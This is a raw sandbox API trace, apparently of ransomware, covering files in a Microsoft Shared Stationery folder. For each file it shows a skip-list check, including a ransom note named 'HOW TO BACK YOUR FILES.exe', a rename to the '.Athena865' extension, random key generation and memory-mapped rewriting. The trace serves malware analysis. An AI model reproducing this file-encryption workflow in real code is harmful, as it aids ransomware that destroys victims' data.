[0116.419] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0116.419] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2575) returned 1 [0116.419] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0116.420] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0116.420] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519118 [0116.420] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519bb8) returned 1 [0116.420] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0116.420] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.421] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd10, lpName=0x0) returned 0x154 [0116.422] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd10) returned 0x100000 [0116.423] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519bb8) returned 1 [0116.423] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0116.423] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.424] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0116.424] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0116.424] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0116.424] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0116.424] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.424] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0116.424] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0116.424] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0116.424] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.424] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0116.424] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0116.424] CloseHandle (hObject=0x154) returned 1 [0116.424] CloseHandle (hObject=0x17c) returned 1 [0116.424] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e88 | out: hHeap=0x4f0000) returned 1 [0116.424] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519118 | out: hHeap=0x4f0000) returned 1 [0116.425] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0116.425] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ccff98, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ccff98, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x442422c3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x11eb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cave_Drawings.gif", cAlternateFileName="")) returned 1 [0116.425] lstrcmpiW (lpString1="Cave_Drawings.gif", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0116.425] lstrcmpiW (lpString1="Cave_Drawings.gif", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0116.425] lstrcmpiW (lpString1="Cave_Drawings.gif", lpString2=".") returned 1 [0116.425] lstrcmpiW (lpString1="Cave_Drawings.gif", lpString2="..") returned 1 [0116.425] lstrcmpiW (lpString1="Cave_Drawings.gif", lpString2="windows") returned -1 [0116.425] lstrcmpiW (lpString1="Cave_Drawings.gif", lpString2="bootmgr") returned 1 [0116.425] lstrcmpiW (lpString1="Cave_Drawings.gif", lpString2="temp") returned -1 [0116.425] lstrcmpiW (lpString1="Cave_Drawings.gif", lpString2="pagefile.sys") returned -1 [0116.425] lstrcmpiW (lpString1="Cave_Drawings.gif", lpString2="boot") returned 1 [0116.425] lstrcmpiW (lpString1="Cave_Drawings.gif", lpString2="ids.txt") returned -1 [0116.425] lstrcmpiW (lpString1="Cave_Drawings.gif", lpString2="ntuser.dat") returned -1 [0116.425] lstrcmpiW (lpString1="Cave_Drawings.gif", lpString2="perflogs") returned -1 [0116.425] lstrcmpiW (lpString1="Cave_Drawings.gif", lpString2="MSBuild") returned -1 [0116.425] lstrlenW (lpString="Cave_Drawings.gif") returned 17 [0116.425] lstrcpyW (in: lpString1=0x241e8bc, lpString2="Cave_Drawings.gif" | out: lpString1="Cave_Drawings.gif") returned="Cave_Drawings.gif" [0116.425] lstrlenW (lpString="Cave_Drawings.gif") returned 17 [0116.425] lstrlenW (lpString="Athena865") returned 9 [0116.425] lstrcmpiW (lpString1="wings.gif", lpString2="Athena865") returned 1 [0116.425] lstrlenW (lpString=".dll") returned 4 [0116.425] lstrcmpiW (lpString1="Cave_Drawings.gif", lpString2=".dll") returned 1 [0116.426] lstrlenW (lpString=".lnk") returned 4 [0116.426] lstrcmpiW (lpString1="Cave_Drawings.gif", lpString2=".lnk") returned 1 [0116.426] lstrlenW (lpString=".ini") returned 4 [0116.426] lstrcmpiW (lpString1="Cave_Drawings.gif", lpString2=".ini") returned 1 [0116.426] lstrlenW (lpString=".sys") returned 4 [0116.426] lstrcmpiW (lpString1="Cave_Drawings.gif", lpString2=".sys") returned 1 [0116.426] lstrlenW (lpString="Cave_Drawings.gif") returned 17 [0116.426] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif.Athena865") returned 85 [0116.426] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif.athena865"), dwFlags=0x1) returned 1 [0116.427] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0116.428] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4587) returned 1 [0116.428] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0116.428] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0116.428] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519118 [0116.428] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519bb8) returned 1 [0116.429] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0116.429] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.429] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x14f0, lpName=0x0) returned 0x154 [0116.433] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x14f0) returned 0x100000 [0116.434] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519bb8) returned 1 [0116.434] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0116.434] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.434] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0116.434] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0116.434] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0116.434] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0116.434] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0116.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0116.435] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0116.435] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.435] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0116.435] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0116.435] CloseHandle (hObject=0x154) returned 1 [0116.435] CloseHandle (hObject=0x17c) returned 1 [0116.435] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e88 | out: hHeap=0x4f0000) returned 1 [0116.435] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519118 | out: hHeap=0x4f0000) returned 1 [0116.435] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0116.435] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4d6850c, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4d6850c, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4434cc55, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x90f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Connectivity.gif", cAlternateFileName="")) returned 1 [0116.435] lstrcmpiW (lpString1="Connectivity.gif", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0116.435] lstrcmpiW (lpString1="Connectivity.gif", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0116.436] lstrcmpiW (lpString1="Connectivity.gif", lpString2=".") returned 1 [0116.436] lstrcmpiW (lpString1="Connectivity.gif", lpString2="..") returned 1 [0116.436] lstrcmpiW (lpString1="Connectivity.gif", lpString2="windows") returned -1 [0116.436] lstrcmpiW (lpString1="Connectivity.gif", lpString2="bootmgr") returned 1 [0116.436] lstrcmpiW (lpString1="Connectivity.gif", lpString2="temp") returned -1 [0116.436] lstrcmpiW (lpString1="Connectivity.gif", lpString2="pagefile.sys") returned -1 [0116.436] lstrcmpiW (lpString1="Connectivity.gif", lpString2="boot") returned 1 [0116.436] lstrcmpiW (lpString1="Connectivity.gif", lpString2="ids.txt") returned -1 [0116.436] lstrcmpiW (lpString1="Connectivity.gif", lpString2="ntuser.dat") returned -1 [0116.436] lstrcmpiW (lpString1="Connectivity.gif", lpString2="perflogs") returned -1 [0116.436] lstrcmpiW (lpString1="Connectivity.gif", lpString2="MSBuild") returned -1 [0116.436] lstrlenW (lpString="Connectivity.gif") returned 16 [0116.436] lstrcpyW (in: lpString1=0x241e8bc, lpString2="Connectivity.gif" | out: lpString1="Connectivity.gif") returned="Connectivity.gif" [0116.436] lstrlenW (lpString="Connectivity.gif") returned 16 [0116.436] lstrlenW (lpString="Athena865") returned 9 [0116.436] lstrcmpiW (lpString1="ivity.gif", lpString2="Athena865") returned 1 [0116.436] lstrlenW (lpString=".dll") returned 4 [0116.436] lstrcmpiW (lpString1="Connectivity.gif", lpString2=".dll") returned 1 [0116.436] lstrlenW (lpString=".lnk") returned 4 [0116.436] lstrcmpiW (lpString1="Connectivity.gif", lpString2=".lnk") returned 1 [0116.436] lstrlenW (lpString=".ini") returned 4 [0116.436] lstrcmpiW (lpString1="Connectivity.gif", lpString2=".ini") returned 1 [0116.436] lstrlenW (lpString=".sys") returned 4 [0116.436] lstrcmpiW (lpString1="Connectivity.gif", lpString2=".sys") returned 1 [0116.436] lstrlenW (lpString="Connectivity.gif") returned 16 [0116.436] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif.Athena865") returned 84 [0116.436] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif.athena865"), dwFlags=0x1) returned 1 [0116.437] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0116.437] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2319) returned 1 [0116.437] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0116.438] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0116.438] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519118 [0116.438] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519bb8) returned 1 [0116.438] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0116.438] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.439] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc10, lpName=0x0) returned 0x154 [0116.440] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc10) returned 0x100000 [0116.441] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519bb8) returned 1 [0116.441] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0116.441] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.441] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0116.441] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0116.442] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0116.442] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0116.442] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.442] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0116.442] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0116.442] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0116.442] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.442] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0116.442] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0116.442] CloseHandle (hObject=0x154) returned 1 [0116.442] CloseHandle (hObject=0x17c) returned 1 [0116.442] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e88 | out: hHeap=0x4f0000) returned 1 [0116.442] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519118 | out: hHeap=0x4f0000) returned 1 [0116.442] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0116.443] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x80425158, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bf1d2d9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bf1d2d9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0116.443] lstrcmpiW (lpString1="Desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0116.443] lstrcmpiW (lpString1="Desktop.ini", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0116.443] lstrcmpiW (lpString1="Desktop.ini", lpString2=".") returned 1 [0116.443] lstrcmpiW (lpString1="Desktop.ini", lpString2="..") returned 1 [0116.443] lstrcmpiW (lpString1="Desktop.ini", lpString2="windows") returned -1 [0116.443] lstrcmpiW (lpString1="Desktop.ini", lpString2="bootmgr") returned 1 [0116.443] lstrcmpiW (lpString1="Desktop.ini", lpString2="temp") returned -1 [0116.443] lstrcmpiW (lpString1="Desktop.ini", lpString2="pagefile.sys") returned -1 [0116.443] lstrcmpiW (lpString1="Desktop.ini", lpString2="boot") returned 1 [0116.443] lstrcmpiW (lpString1="Desktop.ini", lpString2="ids.txt") returned -1 [0116.443] lstrcmpiW (lpString1="Desktop.ini", lpString2="ntuser.dat") returned -1 [0116.443] lstrcmpiW (lpString1="Desktop.ini", lpString2="perflogs") returned -1 [0116.443] lstrcmpiW (lpString1="Desktop.ini", lpString2="MSBuild") returned -1 [0116.443] lstrlenW (lpString="Desktop.ini") returned 11 [0116.443] lstrcpyW (in: lpString1=0x241e8bc, lpString2="Desktop.ini" | out: lpString1="Desktop.ini") returned="Desktop.ini" [0116.443] lstrlenW (lpString="Desktop.ini") returned 11 [0116.443] lstrlenW (lpString="Athena865") returned 9 [0116.443] lstrcmpiW (lpString1="sktop.ini", lpString2="Athena865") returned 1 [0116.443] lstrlenW (lpString=".dll") returned 4 [0116.443] lstrcmpiW (lpString1="Desktop.ini", lpString2=".dll") returned 1 [0116.443] lstrlenW (lpString=".lnk") returned 4 [0116.443] lstrcmpiW (lpString1="Desktop.ini", lpString2=".lnk") returned 1 [0116.443] lstrlenW (lpString=".ini") returned 4 [0116.443] lstrcmpiW (lpString1="Desktop.ini", lpString2=".ini") returned 1 [0116.443] lstrlenW (lpString=".sys") returned 4 [0116.443] lstrcmpiW (lpString1="Desktop.ini", lpString2=".sys") returned 1 [0116.443] lstrlenW (lpString="Desktop.ini") returned 11 [0116.444] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.Athena865") returned 79 [0116.444] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.athena865"), dwFlags=0x1) returned 1 [0116.444] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0116.445] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=645) returned 1 [0116.445] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0116.445] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0116.445] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519118 [0116.445] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519bb8) returned 1 [0116.446] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0116.446] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.446] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x590, lpName=0x0) returned 0x154 [0116.448] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x590) returned 0x100000 [0116.448] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519bb8) returned 1 [0116.449] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0116.449] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.449] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0116.449] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0116.449] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0116.449] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0116.449] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.449] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0116.450] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0116.450] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0116.450] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.450] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0116.450] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0116.450] CloseHandle (hObject=0x154) returned 1 [0116.450] CloseHandle (hObject=0x17c) returned 1 [0116.450] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e88 | out: hHeap=0x4f0000) returned 1 [0116.450] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519118 | out: hHeap=0x4f0000) returned 1 [0116.450] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0116.450] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5015d96, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5015d96, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x444c9a01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xed0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Dotted_Lines.emf", cAlternateFileName="")) returned 1 [0116.450] lstrcmpiW (lpString1="Dotted_Lines.emf", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0116.450] lstrcmpiW (lpString1="Dotted_Lines.emf", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0116.450] lstrcmpiW (lpString1="Dotted_Lines.emf", lpString2=".") returned 1 [0116.451] lstrcmpiW (lpString1="Dotted_Lines.emf", lpString2="..") returned 1 [0116.451] lstrcmpiW (lpString1="Dotted_Lines.emf", lpString2="windows") returned -1 [0116.451] lstrcmpiW (lpString1="Dotted_Lines.emf", lpString2="bootmgr") returned 1 [0116.451] lstrcmpiW (lpString1="Dotted_Lines.emf", lpString2="temp") returned -1 [0116.451] lstrcmpiW (lpString1="Dotted_Lines.emf", lpString2="pagefile.sys") returned -1 [0116.451] lstrcmpiW (lpString1="Dotted_Lines.emf", lpString2="boot") returned 1 [0116.451] lstrcmpiW (lpString1="Dotted_Lines.emf", lpString2="ids.txt") returned -1 [0116.451] lstrcmpiW (lpString1="Dotted_Lines.emf", lpString2="ntuser.dat") returned -1 [0116.451] lstrcmpiW (lpString1="Dotted_Lines.emf", lpString2="perflogs") returned -1 [0116.451] lstrcmpiW (lpString1="Dotted_Lines.emf", lpString2="MSBuild") returned -1 [0116.451] lstrlenW (lpString="Dotted_Lines.emf") returned 16 [0116.451] lstrcpyW (in: lpString1=0x241e8bc, lpString2="Dotted_Lines.emf" | out: lpString1="Dotted_Lines.emf") returned="Dotted_Lines.emf" [0116.451] lstrlenW (lpString="Dotted_Lines.emf") returned 16 [0116.451] lstrlenW (lpString="Athena865") returned 9 [0116.451] lstrcmpiW (lpString1="Lines.emf", lpString2="Athena865") returned 1 [0116.451] lstrlenW (lpString=".dll") returned 4 [0116.451] lstrcmpiW (lpString1="Dotted_Lines.emf", lpString2=".dll") returned 1 [0116.451] lstrlenW (lpString=".lnk") returned 4 [0116.451] lstrcmpiW (lpString1="Dotted_Lines.emf", lpString2=".lnk") returned 1 [0116.451] lstrlenW (lpString=".ini") returned 4 [0116.451] lstrcmpiW (lpString1="Dotted_Lines.emf", lpString2=".ini") returned 1 [0116.451] lstrlenW (lpString=".sys") returned 4 [0116.451] lstrcmpiW (lpString1="Dotted_Lines.emf", lpString2=".sys") returned 1 [0116.451] lstrlenW (lpString="Dotted_Lines.emf") returned 16 [0116.451] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf.Athena865") returned 84 [0116.451] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf.athena865"), dwFlags=0x1) returned 1 [0116.452] 